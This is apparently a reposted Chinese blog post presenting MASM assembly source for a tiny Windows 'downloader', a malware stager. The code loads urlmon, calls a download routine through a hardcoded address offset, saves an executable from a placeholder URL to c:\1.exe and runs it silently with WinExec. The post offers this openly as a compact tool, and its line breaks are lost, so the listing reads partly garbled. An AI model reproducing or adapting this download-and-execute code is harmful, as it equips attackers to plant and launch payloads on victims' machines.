汇编打造不到1K的超小下载者

2009-8-5 12:52 969 0

摘要: .386.model flat,stdcalloption casemap:none;>>>>>>>>>>>>>>&...

关键词： nbsp szPath push offset call 39 NULL loadlib include 地址

.386.model flat,stdcalloption casemap:none;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;include;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>include windows.incinclude kernel32.incincludelib kernel32.lib .dataszURL db 'http://localhost/allen_hw.exe',0 szPath db 'c:\1.exe',0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Allen_HW注：szURL和szPath分别是下载文件的地址和保存的地址.codestart: call loadlib db 'urlmon',0loadlib: call LoadLibraryA add eax,5B147h push NULL push NULL push offset szPath push offset szURL push NULL call eax invoke WinExec,offset szPath,0 invoke ExitProcess,NULLend start

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除